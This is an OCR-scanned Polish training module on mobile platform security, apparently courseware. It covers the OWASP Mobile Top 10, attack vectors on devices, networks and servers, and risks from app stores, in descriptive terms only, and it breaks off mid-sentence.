Hakowanie platform mobilnych
Cele ksztatcenia

Wraz z rozwojem technologii mobilnych mobilnos¢ stata sie kluczowym parametrem korzystania z
Internetu. Styl zycia ludzi w coraz wiekszym stopniu zalezy od smartfondow i tabletéw. Urzadzenia
mobilne zastepuja komputery stacjonarne i laptopy, poniewaz umozliwiajg uzytkownikom nie tylko
dostep do Internetu, poczty e-mail i nawigacji GPS, ale takze przechowywanie krytycznych danych,
takich jak listy kontaktéw, hasta, kalendarze i dane logowania. Ponadto ostatnie zmiany w handlu
mobilnym umozliwity uzytkownikom dokonywanie transakcji, takich jak kupowanie towaroéw i aplikacji
przez sieci bezprzewodowe, realizowanie kupondéw i biletow oraz korzystanie z bankowosci za pomoca
smartfondéw. Wierzgac, ze surfowanie po Internecie na urzgdzeniach mobilnych jest bezpieczne, wielu
uzytkownikéw nie wtacza istniejgcego oprogramowania zabezpieczajgcego. Popularno$é smartfonéw
i ich $rednio silne mechanizmy bezpieczenstwa sprawity, ze staty sie one atrakcyjnym celem dla
atakujacych. W tym module wyjasniono potencjalne zagrozenia dla platform mobilnych i podano
wskazowki dotyczgce bezpiecznego korzystania z urzadzern mobilnych.

Wektory ataku na platforme mobilng

Bezpieczenstwo mobilne staje sie coraz wiekszym wyzwaniem wraz z pojawieniem sie ztozonych
atakéw wykorzystujgcych wiele wektorow atakédw w celu naruszenia bezpieczeristwa urzadzen
mobilnych. Te zagrozenia bezpieczenstwa wykorzystujg krytyczne dane, a takze informacje finansowe
i inne szczegoty uzytkownikdw mobilnych, a takze mogg zaszkodzi¢ reputacji sieci komorkowych i
organizacji. W tej sekcji oméwiono wrazliwe obszary w mobilnym s$rodowisku biznesowym, 10
najwiekszych zagrozen mobilnych OWASP, anatomie atakéw mobilnych, wektory atakéw mobilnych,
powigzane luki w zabezpieczeniach i zagrozenia, problemy bezpieczerstwa wynikajace ze sklepéw z
aplikacjami, problemy z piaskownicg aplikacji, spam mobilny, parowanie urzgdzen mobilnych na
otwarte potgczenia Bluetooth i Wi-Fi oraz inne ataki mobilne.

Wrazliwe obszary w mobilnym srodowisku biznesowym

Smartfony sg powszechnie uzywane zaréwno do celéw biznesowych, jak i prywatnych. W ten sposdb
sg skarbnicg dla atakujacych, ktérzy chcg ukrasé dane firmowe lub osobiste. Zagrozenia dla
bezpieczerdstwa urzadzen mobilnych wzrosty z powodu wzrostu liczby pofaczen internetowych,
korzystania z aplikacji komercyjnych i innych, réznych metod komunikacji i tak dalej. Oprdcz zagrozen
bezpieczenstwa, ktére sg specyficzne dla urzgdzen mobilnych, urzgdzenia mobilne sg rowniez podatne
na wiele innych zagrozen, ktére dotycza komputerdw stacjonarnych i laptopdw, aplikacji
internetowych, sieci itp. Obecnie smartfony oferujg tgcznosé z Internetem i siecig za posrednictwem
réznych kanatéw, takich jak 3G/4G/5G, Bluetooth, Wi-Fi lub przewodowe potgczenie z komputerem.
Zagrozenia bezpieczenstwa mogg pojawic¢ sie w réznych miejscach wzdtuz tych sciezek podczas
transmisji danych.

OWASP Top 10 zagrozen mobilnych - 2016
Wedtug OWASP, 10 najwiekszych zagrozen mobilnych to:
M1 — Niewtasciwe uzycie platformy

Ta kategoria obejmuje niewtasciwe uzycie funkcji platformy lub niestosowanie zabezpieczen
platformy. Obejmuje to intencje Androida, uprawnienia platformy oraz niewtasciwe uzycie Touch ID,
peku kluczy lub innych zabezpieczen, ktére sg czescig systemu operacyjnego urzgdzenia mobilnego.
Istnieje kilka sposobdw narazenia aplikacji mobilnych na to ryzyko.



M2 — Niezabezpieczone przechowywanie danych

Niebezpieczna luka w zabezpieczeniach przechowywania danych pojawia sie, gdy zespoty
programistow zaktadajg, ze uzytkownicy i ztosliwe oprogramowanie nie bedg mieli dostepu do systemu
plikdw urzadzenia mobilnego, a nastepnie do poufnych informacji w magazynach danych urzadzenia.
,Jailbreaking” lub rootowanie urzagdzenia mobilnego omija mechanizmy ochrony szyfrowania. OWASP
zaleca analize interfejsow programowania aplikacji (APl) platform bezpieczenstwa danych i
odpowiednie wywotywanie tchem. Niezamierzony wyciek danych ma miejsce, gdy programista
nieumyslnie umieszcza poufne dane w miejscu na urzadzeniu mobilnym, ktére jest tatwo dostepne dla
innych aplikacji na urzadzeniu. Taki wyciek jest zwykle spowodowany lukami w systemie operacyjnym,
frameworkach, kompilatorze ,Srodowisku, nowym sprzecie itd. bez wiedzy dewelopera. Stanowi
powazne zagrozenie dla systemu operacyjnego, platform i platform; dlatego wazine jest, aby
zrozumieé, w jaki sposdb obstuguja takie funkcje, jak buforowanie adreséw URL, obiekty plikdw cookie
przegladarki i przechowywanie danych HTMLS5.

M3 — niepewna komunikacja

Ta kategoria obejmuje stabe uzgadnianie, nieprawidtowe wersje SSL, stabe negocjacje, komunikacje
jawnym tekstem wrazliwych zasobow i tak dalej. Takie luki ujawniajg dane poszczegdélnych
uzytkownikéw i mogg prowadzi¢ do kradziezy konta. Jesli przeciwnik przechwyci konto administratora,
cata witryna moze zosta¢ ujawniona. Staba konfiguracja Secure Socket Layer (SSL) moze réwniez
utatwiac ataki typu phishing i man-in-the-middle (MUM).

M4 — Niepewne uwierzytelnianie

Ta kategoria obejmuje pojecia zwigzane z uwierzytelnianiem uzytkownika korcowego lub ztym
zarzadzaniem sesjg, np

o Brak identyfikacji uzytkownika, gdy jest to wymagane

o Brak zachowania tozsamosci uzytkownika, gdy jest to wymagane,
o Niedociggniecia w zarzadzaniu sesja.

M5 — niewystarczajaca kryptografia

Kod stosuje kryptografie do poufnych informacji. Flowever, kryptografia jest niewystarczajgca pod
pewnymi wzgledami. Ta kategoria obejmuje problemy, w ktérych prébuje sie zastosowac kryptografie,
ale nie wykonuje sie jej poprawnie. Luka ta spowoduje nieautoryzowane pobranie poufnych informacji
z urzadzenia mobilnego. Aby wykorzystaé te stabos¢, przeciwnik musi pomysinie przekonwertowac
zaszyfrowany kod lub poufne dane na ich oryginalng niezaszyfrowang posta¢ z powodu stabych
algorytmow szyfrowania lub btedéw w procesie szyfrowania.

M6 — niepewna autoryzacja

Ta kategoria obejmuje btedy w autoryzacji (np. decyzje autoryzacyjne po stronie klienta i wymuszone
przegladanie). RAzni sie od kwestii zwigzanych z uwierzytelnianiem (np. rejestracjg urzadzenia i
identyfikacjg uzytkownika). Gdy aplikacja w ogdle nie uwierzytelnia uzytkownikow w sytuacji, w ktérej
powinna (np. przyznanie anonimowego dostepu do jakiegos zasobu lub ustugi, gdy wymagany jest
uwierzytelniony i autoryzowany dostep), wowczas jest to btgd uwierzytelnienia, a nie btagd autoryzac;ji.

M7 — Jakos¢ kodu klienta



Ta kategoria obejmuje , Decyzje dotyczgce bezpieczenstwa za posrednictwem niezaufanych danych
wejsciowych” i jest jedng z rzadziej uzywanych kategorii. Jest to uniwersalne rozwigzanie problemoéw
z implementacjg na poziomie kodu w kliencie mobilnym, ktdre réznig sie od btedéw kodowania po
stronie serwera. Przechwytuje przepetnienia bufora, luki w zabezpieczeniach ciggéw znakdéw i rézne
inne btedy na poziomie kodu, w przypadku ktdrych rozwigzaniem jest przepisanie kodu dziatajgcego
na urzgdzeniu mobilnym. Wiekszos$¢ naduzy¢ nalezgcych do tej kategorii skutkuje wykonaniem obcego
kodu lub DoS na zdalnych punktach koricowych serwera (a nie na samym urzgdzeniu mobilnym).

M8 — manipulowanie kodem

Ta kategoria obejmuje tatanie binarne, modyfikacje lokalnych zasobdw, przechwytywanie metod,
przetagczanie metod i dynamiczng modyfikacje pamieci. Gdy aplikacja zostanie dostarczona na
urzadzenie mobilne, jej kod i zasoby danych rezydujg na urzgdzeniu. Osoba atakujgca moze
bezposrednio modyfikowa¢ kod, dynamicznie zmieniaé zawartos¢ pamieci, zmieniac lub zastepowac
systemowe interfejsy APl uzywane przez aplikacje lub modyfikowa¢ dane i zasoby aplikacji. W ten
sposdb osoba atakujgca moze bezposrednio podwazy¢ zamierzone uzycie oprogramowania w celu
uzyskania korzysci osobistych lub pienieznych.

M9 — Inzynieria wsteczna

Ta kategoria obejmuje analize ostatecznego podstawowego pliku binarnego w celu okreslenia jego
kodu Zrédtowego, bibliotek, algorytmdw i innych zasobdéw. Oprogramowanie takie jak IDA, Hopper,
otool i inne narzedzia do inspekcji binarnej dajg atakujgcemu wglad w wewnetrzne dziatanie aplikacji.
W ten sposéb moze wykorzysta¢ inne powstajgce luki w aplikacji i odkry¢ informacje o serwerach
zaplecza, statych kryptograficznych i szyfrach oraz wtasnosci intelektualne;j.

M10 — Nadrzedna funkcjonalnos¢

Czesto programisci wiaczajg ukryta funkcjonalno$¢ backdoora lub inne wewnetrzne kontrole
bezpieczenstwa programistycznego, ktdre nie sg przeznaczone do udostepnienia w Srodowisku
produkcyjnym. Na przyktad programista moze przypadkowo dotgczy¢ hasto jako komentarz w aplikacji
hybrydowej. Inny przyktad dotyczy wytgczenia uwierzytelniania dwuskfadnikowego podczas
testowania. Zazwyczaj osoba atakujgca stara sie zrozumie¢ dodatkowe funkcje w aplikacji mobilnej,
aby odkry¢ ukryte funkcje w systemach zaplecza. Osoby atakujgce zazwyczaj wykorzystujg takie
zewnetrzne funkcje bezposrednio z wiasnych systemoéw bez udziatu uzytkownikéw korncowych.

Anatomia ataku mobilnego

Ze wzgledu na powszechne stosowanie i wdrazanie zasad przynoszenia wtasnego urzadzenia (BYOD) w
organizacjach, urzagdzenia mobilne staty sie gtdbwnym celem atakéw. Atakujacy skanujg te urzadzenia
w poszukiwaniu luk w zabezpieczeniach. Ataki takie mogg dotyczy¢ urzadzenia i warstwy sieciowej,
centrum danych lub ich kombinacji. Atakujacy wykorzystujg luki w zabezpieczeniach zwigzane z
nastepujgcymi elementami do przeprowadzania ztosliwych atakow:

Urzadzenie

Luki w zabezpieczeniach urzagdzen mobilnych stanowig powazne zagrozenie dla wrazliwych danych
osobowych i firmowych. Atakujgcy atakujgcy samo urzgdzenie mogg korzystaé z réznych punktow
wejscia. Ataki na urzadzenia dzielg sie na nastepujgce typy:

o Ataki oparte na przegladarce

Metody ataku oparte na przegladarce sg nastepujace:



e Phishing: wiadomosci e-mail lub wyskakujgce okienka typu phishing przekierowujg uzytkownikow na
fatszywe strony internetowe imitujgce wiarygodne witryny, proszac ich o podanie danych osobowych,
takich jak nazwa uzytkownika, hasto, dane karty kredytowej, adres i numer telefonu komdrkowego.
Uzytkownicy mobilni sg bardziej narazeni na ataki witryn phishingowych, poniewaz ich urzgdzenia maja
niewielkie rozmiary i wyswietlajg tylko krétkie adresy URL, ograniczone komunikaty ostrzegawcze,
zmniejszone ikony ktodki itd.

e Ramki: Ramki obejmujg strone internetowg zintegrowang z inng strong internetowg przy uzyciu
elementow iFrame HTML. Atakujacy wykorzystuje funkcjonalno$é iFrame uzywang w docelowej
witrynie internetowej, osadza swojg ztosliwg strone internetowga i wykorzystuje przechwytywanie
kliknie¢ w celu kradziezy poufnych informacji uzytkownikow.

¢ Clickjacking: Clickjacking, znany réwniez jako atak polegajgcy na naprawieniu interfejsu uzytkownika,
to ztosliwa technika wykorzystywana do naktaniania uzytkownikéw sieci do klikniecia czegos innego
niz wydaje im sie, ze klikajg. W rezultacie atakujgcy uzyskujg poufne informacje lub przejmuja kontrole
nad urzadzeniem.

e Man-in-the-Mobile: osoba atakujgca wszczepia ztosliwy kod do urzgdzenia mobilnego ofiary, aby
oming¢ systemy weryfikacji hasta, ktére wysytajg hasta jednorazowe (OTP) za posrednictwem
wiadomosci SMS lub potgczen gtosowych. Nastepnie ztosliwe oprogramowanie przekazuje zebrane
informacje atakujgcemu.

e Przepetnienie bufora: Przepetnienie bufora to nieprawidtowos¢ polegajgca na tym, ze program
podczas zapisywania danych w buforze przekracza zamierzony limit i nadpisuje sgsiednig pamied.
Powoduje to btedne dziatanie programu, w tym btedy dostepu do pamieci, nieprawidtowe wyniki i
awarie urzadzen mobilnych.

e Buforowanie danych: Bufory danych w urzadzeniach przenosnych przechowujg informacje, ktére sg
czesto wymagane przez te urzadzenia do interakcji z aplikacjami internetowymi, chronigc w ten sposéb
ograniczone zasoby i skracajgc czas reakcji aplikacji klienckich. Atakujgcy prébujg wykorzystac te
pamieci podreczne danych, aby uzyska¢ dostep do przechowywanych w nich poufnych informacji.

o Ataki przez telefon/SMS
Metody ataku oparte na telefonie/SMS s3g nastepujace:

e Ataki pasma podstawowego: Atakujgcy wykorzystujg luki w procesorze pasma podstawowego
GSM/3GPP telefonu, ktory wysyta i odbiera sygnaty radiowe do masztow komadrkowych.

e SMiShing: phishing SMS (znany réwniez jako SMiShing) to rodzaj oszustwa phishingowego, w ktérym
osoba atakujgca uzywa wiadomosci SMS do wysytania do ofiary wiadomosci tekstowych zawierajacych
oszukancze tgcza do ztosliwych stron internetowych lub numeroéw telefonéw. Atakujgcy nakfania ofiare
do klikniecia tgcza lub zadzwonienia pod numer telefonu i ujawnienia swoich danych osobowych,
takich jak numer ubezpieczenia spotecznego (SSN), numer karty kredytowej oraz nazwa uzytkownika i
hasto do bankowosci internetowe;j.

o Ataki oparte na aplikacjach
Metody ataku oparte na aplikacjach to:

¢ Przechowywanie poufnych danych: Niektére aplikacje instalowane i uzywane przez uzytkownikow
mobilnych wykorzystujg stabe zabezpieczenia w swojej architekturze bazy danych, co czyni je celem
atakujacych, ktérzy chcg wtamac sie i ukrasé przechowywane w nich poufne informacje uzytkownika.



e Brak szyfrowania/stabe szyfrowanie: aplikacje przesytajgce niezaszyfrowane lub stabo zaszyfrowane
dane sg podatne na ataki, takie jak przejecie sesji.

* Niewtasciwa weryfikacja SSL: Luki w zabezpieczeniach w procesie sprawdzania poprawnosci SSL
aplikacji mogg umozliwic atakujgcym obejscie zabezpieczen danych.

e Manipulowanie konfiguracjg: aplikacje moga wykorzystywaé zewnetrzne pliki i biblioteki
konfiguracyjne, ktére mozna wykorzystaé w ataku polegajgcym na manipulacji konfiguracja. Obejmuje
to uzyskiwanie nieautoryzowanego dostepu do interfejsow administracyjnych i magazyndéw
konfiguracji, a takze pobieranie danych konfiguracyjnych w postaci zwyktego tekstu.

e Dynamic Runtime Injection: Atakujgcy manipulujg i naduzywajg czasu dziatania programu ,aplikacji
do obchodzenia blokad bezpieczenstwa i kontroli logicznych, uzyskiwania dostepu do
uprzywilejowanych czesci aplikacji, a nawet wykras¢ dane przechowywane w pamieci.

¢ Niezamierzone uprawnienia: btednie skonfigurowane aplikacje moga czasami otwiera¢ drzwi
atakujgcym poprzez nadanie niezamierzonych uprawnien.

e Eskalowane uprawnienia: osoby atakujgce przeprowadzajg ataki polegajgce na eskalacji uprawnien,
ktére wykorzystujg wady projektowe, btedy programistyczne, btedy lub niedopatrzenia w konfiguracji
w celu uzyskania dostepu do zasobdw zwykle chronionych przed aplikacjg lub uzytkownikiem.

Inne metody ataku oparte na aplikacjach obejmujg naktadke Ul/kradziez pinédw, kod stron trzecich,
zamiarowe przejecie kontroli, przegladanie katalogdéw ZIP, dane ze schowka, schematy adreséw URL,
fatszowanie GPS, stabe/brak lokalnego uwierzytelniania,
integralnosé¢/manipulowanie/przepakowywanie, atak sidechannel, podpisywanie aplikacji klucz
niezabezpieczony, bezpieczenstwo transportu aplikacji, specjalizacja XML i tak dalej.

System
Metody ataku oparte na systemie operacyjnym sg nastepujgce:

e Brak kodu dostepu/staby kod dostepu: wielu uzytkownikow nie ustawia kodu dostepu lub uzywa
stabego kodu PIN, kodu dostepu lub wzoru blokady, ktére osoba atakujgca moze tatwo odgadngé lub
ztamaé, aby narazi¢ na szwank poufne dane przechowywane na urzgdzeniu przenosnym.

* iOS Jailbreaking: Jailbreaking iOS to proces usuwania mechanizmdéw bezpieczeAstwa ustawionych
przez firme Apple w celu zapobiegania uruchamianiu ztosliwego kodu na urzgdzeniu. Zapewnia dostep
administratora do systemu operacyjnego i usuwa ograniczenia piaskownicy. W zwigzku z tym jailbreak
wigze sie z wieloma zagrozeniami bezpieczeristwa, a takie innymi zagrozeniami dla urzadzen z
systemem iOS, w tym niskg wydajnoscig, infekcjg ztosliwym oprogramowaniem i tak dale;j.

e Rootowanie systemu Android: Rootowanie umozliwia uzytkownikom systemu Android uzyskanie
uprzywilejowanej kontroli (znanej jako ,,dostep administratora”) w podsystemie Androida. Podobnie
jak jailbreak, rootowanie moze spowodowaé ujawnienie poufnych danych przechowywanych na
urzadzeniu mobilnym.

e Pamie¢ podreczna danych systemu operacyjnego: pamie¢ podreczna systemu operacyjnego
tymczasowo przechowuje uzywane dane/informacje w pamieci na dysku twardym. Atakujgcy moze
zrzucié¢ te pamie¢, ponownie uruchamiajgc urzadzenie ofiary ze ztosliwym systemem operacyjnym i
wyodrebnié poufne dane z zrzuconej pamieci.

e Dostep do haset i danych: urzadzenia z systemem iOS przechowujg zaszyfrowane hasta i dane przy
uzyciu algorytmoéw kryptograficznych, ktére majg pewne znane luki w zabezpieczeniach. Atakujgcy



wykorzystujg te luki w celu odszyfrowania peku kluczy urzadzenia, ujawniajgc hasta uzytkownikéw,
klucze szyfrowania i inne prywatne dane.

e Oprogramowanie tadowane przez operatora: wstepnie zainstalowane oprogramowanie lub aplikacje
na urzadzeniach mogg zawieraé luki, ktére osoba atakujgca moze wykorzystaé¢ do wykonania ztosliwych
dziatan, takich jak usuwanie, modyfikowanie lub kradziez danych na urzadzeniu, podstuchiwanie
rozmoéw telefonicznych i tak dalej.

e Kod inicjowany przez uzytkownika: Kod inicjowany przez uzytkownika to dziatanie, ktére naktfania
ofiare do zainstalowania ztosliwych aplikacji lub klikniecia taczy umozliwiajgcych atakujagcemu
zainstalowanie ztosliwego kodu w celu wykorzystania przegladarki uzytkownika, plikdw cookie i
uprawnien bezpieczenstwa. Inne metody ataku oparte na systemie operacyjnym obejmujg brak/stabe
szyfrowanie, zdezorientowany atak zastepczy, TEE/bezpieczny procesor enklawy, wyciek bocznego
kanatu, parsery formatu multimedidéw/plikow, luki w sterowniku jadra, DoS zasobéw, fatszowanie GPS,
blokada urzadzenia i tak dalej .

Siec
Sieciowe metody ataku to:

o Wi-Fi (stabe szyfrowanie/brak szyfrowania): niektére aplikacje nie szyfrujg danych lub uzywajg
stabych algorytméw do szyfrowania danych do transmisji w sieciach bezprzewodowych. Osoba
atakujgca moze przechwyci¢ dane, podstuchujac potaczenie bezprzewodowe. Chociaz wiele aplikacji
korzysta z protokotu SSL/TLS, ktory zapewnia ochrone przesytanych danych, ataki na te algorytmy
moga ujawnié poufne informacje uzytkownikow.

o Nieuczciwe punkty dostepowe: Atakujgcy instalujg fizyczny punkt nielegalnego dostepu
bezprzewodowego, ktéry umozliwia im dostep do chronionej sieci poprzez przejmowanie potgczen
legalnych uzytkownikdw sieci.

o Wachanie pakietéw: osoba atakujgca uzywa narzedzi do wachania, takich jak Wireshark i Capsa
Network Analyzer, do przechwytywania i analizowania wszystkich pakietow danych w ruchu
sieciowym, ktdre zazwyczaj zawierajg poufne dane, takie jak dane logowania wysytane zwyktym
tekstem.

o Man-in-the-Middle (MITM): Atakujgcy podstuchujg istniejgce potaczenia sieciowe miedzy dwoma
systemami, wtamujg sie do tych potgczen, a nastepnie odczytujg lub modyfikujg dane lub wprowadzajg
fatszywe dane do przechwyconej komunikacji.

o Przejecie sesji: osoby atakujgce kradng wazne identyfikatory sesji i wykorzystujg je do uzyskania
nieautoryzowanego dostepu do informacji o uzytkowniku i sieci.

o Zatruwanie DNS: Atakujgcy wykorzystujg sieciowe serwery DNS, co powoduje podstawianie
fatszywych adreséw IP na poziomie DNS. W ten sposéb uzytkownicy serwisu sg kierowani na inng
strone wybrang przez atakujgcego.

0 SSLStrip: SSLStrip to rodzaj ataku MITM, w ktérym atakujacy wykorzystujg luki w implementacji
SSL/TLS na stronach internetowych. Polega na sprawdzeniu przez uzytkownika obecnosci potgczenia
HTTPS. Atak w niewidoczny sposdb obniza jakos¢ potgczen do HTTP bez szyfrowania, co jest trudne do
wykrycia przez uzytkownikéw w przegladarkach mobilnych.

o Fatszywe certyfikaty SSL: Fatszywe certyfikaty SSL reprezentujg inny rodzaj ataku MITM, w ktérym
osoba atakujgca wystawia fatszywy certyfikat SSL w celu przechwycenia ruchu w rzekomo bezpiecznym



potgczeniu HTTPS. Inne sieciowe metody ataku obejmujg przejmowanie kontroli nad BGP, serwery
proxy HTTP itp.

Centrum danych/CHMURA

Centra danych majg dwa gtdwne punkty wejscia: serwer WWW i baze danych.

o Ataki oparte na serwerze WWW

Istniejg nastepujgce rodzaje luk w zabezpieczeniach i atakdédw opartych na serwerze internetowym:

e Luki w zabezpieczeniach platformy: osoby atakujgce wykorzystujg luki w systemie operacyjnym,
oprogramowaniu serwera, takim jak IS, lub modutach aplikacji dziatajagcych na serwerze
internetowym. Czasami osoby atakujgce mogg ujawnié luki w zabezpieczeniach zwigzane z protokotem
lub kontrolg dostepu, monitorujgc komunikacje nawigzang miedzy urzadzeniem mobilnym a serwerem
internetowym.

¢ Btedna konfiguracja serwera: btednie skonfigurowany serwer WWW moze umozliwi¢ atakujgcemu
uzyskanie nieautoryzowanego dostepu do jego zasobdow.

e Cross-site Scripting (XSS): ataki XSS wykorzystuja luki w zabezpieczeniach dynamicznie generowanych
stron internetowych, ktére umozliwiajg ztosliwym atakujgcym wstrzykniecie skryptu po stronie klienta
do stron internetowych przegladanych przez innych uzytkownikéw. Takie ataki majg miejsce, gdy
uniewaznione dane wejSciowe sg zawarte w tresci dynamicznej wysytanej do przegladarki
internetowej uzytkownika w celu renderowania. Atakujacy wprowadzajg ztosliwy kod JavaScript,
VBScript, ActiveX, HTML lub Flash w celu wykonania w systemie ofiary, ukrywajac go w uzasadnionych
zadaniach.

e Cross-Site Request Forgery (CSRF): Ataki CSRF wykorzystujg luki w zabezpieczeniach stron
internetowych, ktdére pozwalajg atakujgcemu zmusi¢ przegladarke niczego niepodejrzewajgcego
uzytkownika do wystania niezamierzonych ztosliwych zgdan. Ofiara utrzymuje aktywna sesje z zaufanag
witryng i jednoczesnie odwiedza ztosliwg witryne, ktéra wstrzykuje zadanie HTTP do zaufanej witryny
do swojej sesji, naruszajac jej integralnosc.

e Staba walidacja danych wejsciowych: Ustugi sieciowe nadmiernie ufajg danym wejsciowym z aplikacji
mobilnych, w zaleznosci od aplikacji, ktéra przeprowadza walidacje danych wejsciowych. Jednak osoby
atakujgce mogg sfatszowaé wtasng komunikacje z serwerem internetowym lub obejs$é testy logiczne
aplikacji, co pozwala im wykorzysta¢ brakujaca logike sprawdzania poprawnosci na serwerze do
wykonywania nieautoryzowanych dziatan. Atakujgcy wykorzystujg luki w walidacji danych
wejsciowych, aby mdc przeprowadzaé skrypty miedzy witrynami, przepetnia¢ bufory, atakowad
wstrzykiwaniem itd., co prowadzi do kradziezy danych i awarii systemu.

e Ataki Brute-Force: Atakujgcy stosujag metode préb i btedéw, aby odgadngé prawidtowe dane
wejsciowe dla okreslonego pola. Aplikacje, ktére pozwalajg na dowolng liczbe préb wprowadzania
danych, sg generalnie podatne na ataki typu brute-force. Inne luki w zabezpieczeniach i ataki oparte
na serwerze sieciowym obejmujg udostepnianie zasobéw miedzy zrédtami, atak typu side-channel,
atak na hiperwizor, VPN i tak dale;j.

Ataki na bazy danych
Istniejg nastepujgce rodzaje luk w zabezpieczeniach i atakdw opartych na bazach danych:

e Wstrzykiwanie SQL: wstrzykiwanie SQL jest technikg wykorzystywang do wykorzystania luk w
zabezpieczeniach niezweryfikowanych danych wejsciowych w celu przekazywania polecen SQL przez



aplikacje internetowg w celu wykonania ich przez baze danych zaplecza. Jest to podstawowy atak
stuzacy do uzyskania nieautoryzowanego dostepu do bazy danych lub pobrania informacji
bezposrednio z bazy danych.

Eskalacja uprawnien: ma to miejsce, gdy atak wykorzystuje jakis exploit w celu uzyskania dostepu
wysokiego poziomu, co skutkuje kradziezg poufnych danych przechowywanych w bazie danych.

Data Dumping: osoba atakujgca powoduje, ze baza danych zrzuca czes¢ lub wszystkie swoje dane,
odkrywajgc w ten sposdb poufne rekordy.

Wykonywanie polecen systemu operacyjnego: osoba atakujaca wstrzykuje polecenia na poziomie
systemu operacyjnego do zapytania, powodujac, ze niektdre systemy baz danych wykonujg te
polecenia na serwerze. W ten sposéb osoba atakujgca moze uzyskac nieograniczony dostep do
systemu na poziomie administratora.

Jak haker moze czerpa¢ zyski z urzadzen mobilnych, ktére zostaty skutecznie przejete

Obecnie obrazy, listy kontaktow, aplikacje bankowe, aplikacje mediow spotecznosciowych, konta e-
mail, informacje finansowe, informacje biznesowe itd. znajdujg sie na naszych smartfonach. Tym
samym smartfony sg skarbnicg informacji, ktére mogg zosta¢ wykorzystane przez atakujgcych.
Szczegdlnie narazone na ataki hakerskie sg urzgdzenia z Androidem, poniewaz stanowig one wiekszos¢
udziatu w rynku mobilnym. Po zhakowaniu smartfona osoba atakujagca moze szpiegowac dziatania
uzytkownika, niewtasciwie wykorzystywaé skradzione poufne informacje, podszywaé sie pod
uzytkownika, publikujgc posty na jego kontach w mediach spofecznosciowych lub zarejestrowad
urzadzenie w botnecie (sie¢ wielu zhakowanych smartfonéw).

Po pomysinym wifamaniu sie do urzadzenia mobilnego hakerzy mogg wykorzystaé nastepujace
elementy:

Nadzor : Finansowy : Kradziez danych : Aktywnos¢ botnetu : Podszywanie sie pod inne osoby

Dzwiek: Wysytanie wiadomosci SMS o podwyzszonej optacie: Dane konta: Przeprowadzanie atakéw
DDoS: Przekierowywanie wiadomosci SMS

Aparat : Fatszywy program antywirusowy : Kontakty : Oszustwa zwigzane z kliknieciami : Wysytanie e-
maili

Rejestry potaczen : Wykonywanie kosztownych potgczen : Rejestry potgczen i numer telefonu :
Wysytanie wiadomosci SMS o podwyzszonej optacie : Publikowanie w mediach spotecznosciowych

Lokalizacja : Wymuszenie za pomocg oprogramowania typu ransomware : Kradziez danych za
posrednictwem luk w zabezpieczeniach aplikacji

Wiadomosci SMS : Kradziez numerdw uwierzytelniania transakcji (TAN): Kradziez miedzynarodowego
numeru identyfikacyjnego urzadzenia mobilnego (IMEI)

Wektory atakéw mobilnych i luki w zabezpieczeniach platform mobilnych
Wektory atakéw mobilnych

Urzadzenia mobilne przyciggnety uwage hakeréw ze wzgledu na ich powszechne uzycie. Takie
urzadzenia uzyskujg dostep do wielu zasobéw uzywanych przez tradycyjne komputery. Co wiecej,
urzadzenia te posiadajg pewne unikalne cechy, ktére doprowadzity do pojawienia sie nowych
wektordow i protokotéow atakéw. Takie wektory sprawiajg, ze platformy telefonii komdrkowej s3
podatne na ztosliwe ataki zaréwno z sieci, jak i po fizycznym zagrozeniu. Ponizej podano niektore



wektory atakéw, ktére umozliwiajg atakujgcemu wykorzystanie luk w mobilnym systemie
operacyjnym, oprogramowaniu sprzetowym urzgdzenia lub aplikacjach mobilnych.

Ztosliwe oprogramowanie: Eksfiltracja danych: Manipulowanie danymi: Utrata danych

Wirusy i rootkity : Wyodrebnione ze strumieni danych i wiadomosci e-mail : Modyfikacje dokonane
przez inng aplikacje : Luki w zabezpieczeniach aplikacji

Modyfikacja aplikacji : Wydruk ekranu i skrobanie ekranu : Niewykryte préby manipulacji :
Niezatwierdzony dostep fizyczny

Modyfikacja systemu operacyjnego: Kopiowanie na klucz USB i utrata kopii zapasowej: Urzadzenie po
jailbreaku: Utrata urzadzenia

Luki w zabezpieczeniach platformy mobilnej i zagrozenia

Rosnace wykorzystanie smartfondéw z ciggle rozwijajacymi sie funkcjami technologicznymi sprawito, ze
bezpieczenstwo urzadzed mobilnych stato sie gtéwnym problemem bezpieczeristwa w sektorze IT.
Urzadzenia mobilne stajg sie uprzywilejowanymi celami cyberprzestepcéw ze wzgledu na znaczng
poprawe zaréwno mobilnego systemu operacyjnego, jak i sprzetu. Ponadto ulepszenia funkcji
smartfonéw wprowadzajg nowe rodzaje obaw zwigzanych z bezpieczenstwem. Poniewaz smartfony
wyprzedzajg komputery PC jako preferowane urzadzenia dostepu do Internetu, zarzadzania
komunikacjg itd., osoby atakujgce sg bardziej zainteresowane badaniem urzgdzern mobilnych i
wdrazaniem mozliwych schematéw atakéw na platformy mobilne w celu naruszenia bezpieczenstwa i
prywatnosci uzytkownikdédw, a nawet uzyskania petnej kontroli nad ofiarami '
wymieniono niektére luki w zabezpieczeniach platformy mobilnej i zagrozenia:

urzadzenia. Ponizej

Stabe bezpieczenstwo danych

Nadmierne uprawnienia

Stabe bezpieczenstwo komunikacji

Ataki fizyczne

Niewystarczajgce zaciemnianie kodu

Niewystarczajgce zabezpieczenia warstwy transportowej
Niewystarczajacy czas wygasniecia sesji

Ztosliwe aplikacje w sklepach

Mobilne ztosliwe oprogramowanie

Luki w piaskownicy aplikacji

Stabe szyfrowanie urzadzenia i aplikacji

Problemy z aktualizacjg systemu operacyjnego i aplikacji
Jailbreak i rootowanie

Luki w aplikacjach mobilnych



Kwestie prywatnosci (geolokalizacja)

Problemy bezpieczenstwa wynikajace ze sklepow z aplikacjami

Aplikacje mobilne to programy komputerowe przeznaczone do uruchamiania na smartfonach,
tabletach i innych urzadzeniach mobilnych. Takie aplikacje obejmujg wiadomosci tekstowe, poczte e-
mail, odtwarzanie filméw i muzyki, nagrywanie gtosu, gry, bankowos¢, zakupy i tak dalej. Ogdlnie rzecz
biorgc, aplikacje sg udostepniane za posrednictwem platform dystrybucji aplikacji, ktérymi mogg by¢
oficjalne sklepy z aplikacjami prowadzone przez witascicieli mobilnych systemdéw operacyjnych, takie
jak Apple App Store, Google Play Store i Microsoft Store App, lub sklepy z aplikacjami innych firm, takie
jak Amazon Appstore, Getlar i APKMirror. Sklepy z aplikacjami sg czestym celem atakujgcych, ktérzy
chca rozpowszechniac ztosliwe oprogramowanie i ztosliwe aplikacje. Atakujgcy mogg pobrac legalng
aplikacje, przepakowac jg ze ztosliwym oprogramowaniem i przesta¢ do zewnetrznego sklepu z
